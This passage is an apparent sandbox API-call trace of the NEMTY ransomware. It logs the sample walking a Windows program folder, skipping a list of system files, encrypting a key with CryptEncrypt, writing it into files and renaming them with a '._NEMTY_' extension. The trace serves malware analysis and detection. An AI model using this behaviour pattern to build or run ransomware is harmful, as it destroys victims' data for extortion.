[0083.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.411] CloseHandle (hObject=0xffffffff) returned 0 [0083.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0083.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0083.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0083.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0083.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0083.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0083.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0083.412] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png._nemty_kgobjgd_")) returned 0 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.412] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2=".") returned 1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="..") returned 1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="...") returned 1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="windows") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="$RECYCLE.BIN") returned 1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="rsa") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="NTDETECT.COM") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="ntldr") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="MSDOS.SYS") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="IO.SYS") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="boot.ini") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="boot.ini") returned -1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="AUTOEXEC.BAT") returned 1 [0083.412] lstrcmpiW (lpString1="bandwidth.png", lpString2="ntuser.dat") returned -1 [0083.413] lstrcmpiW (lpString1="bandwidth.png", lpString2="desktop.ini") returned -1 [0083.413] lstrcmpiW (lpString1="bandwidth.png", lpString2="CONFIG.SYS") returned -1 [0083.413] lstrcmpiW (lpString1="bandwidth.png", lpString2="RECYCLER") returned -1 [0083.413] lstrcmpiW (lpString1="bandwidth.png", lpString2="BOOTSECT.BAK") returned -1 [0083.413] lstrcmpiW (lpString1="bandwidth.png", lpString2="bootmgr") returned -1 [0083.413] lstrcmpiW (lpString1="bandwidth.png", lpString2="programdata") returned -1 [0083.413] lstrcmpiW (lpString1="bandwidth.png", lpString2="appdata") returned 1 [0083.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bandwidth.png", lpUsedDefaultChar=0x0) returned 13 [0083.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bandwidth.png", lpUsedDefaultChar=0x0) returned 13 [0083.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bandwidth.png", lpUsedDefaultChar=0x0) returned 13 [0083.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0083.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bandwidth.png", lpUsedDefaultChar=0x0) returned 13 [0083.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0083.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94378 [0083.413] Sleep (dwMilliseconds=0x5) [0083.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe55f7e30, dwHighDateTime=0x1d561e7)) [0083.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe55f7e30, dwHighDateTime=0x1d561e7)) [0083.427] GetLastError () returned 0x5 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.427] GetLastError () returned 0x5 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.427] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0083.427] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0083.427] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0083.427] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="YkXjWyY1y8AkHAzgAyHQojL+v1yHjNrZwgYSH2bY2mWqDTiHf+Y7tjaXYLVQxZKm\r\n5C+yWrw/PnkLurLGwsPrMsR5w2zpiJn/BvpZWUQxDm0VQlLyBabxdE/makKvKu4p\r\n4tSK7Dyl52a5CO9bAMneczxguNxlJBkJ/Bv5Ev28SQGZesIS/5omY+w6TTsteWxd\r\n86YuvNUOULAohTHcurSdW2bZR24oKMWPgtNXvDAWnrUZ9KK0Cr7lhe/roOtqgu9c\r\nzjs5HjjHlJW6PR7WNSFBRgMJR6+oG1ebWFzUBdyFIw2BvWpKvaqZPrVD2h4Wetdy\r\nPBHbUVR5T6ZYtDQNLdO2kw==\r\n", pcchString=0x653e91c) returned 1 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0083.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.427] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.428] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0083.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.535] CloseHandle (hObject=0xffffffff) returned 0 [0083.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0083.535] MultiByteToWideChar (in: CodePage=0x0, 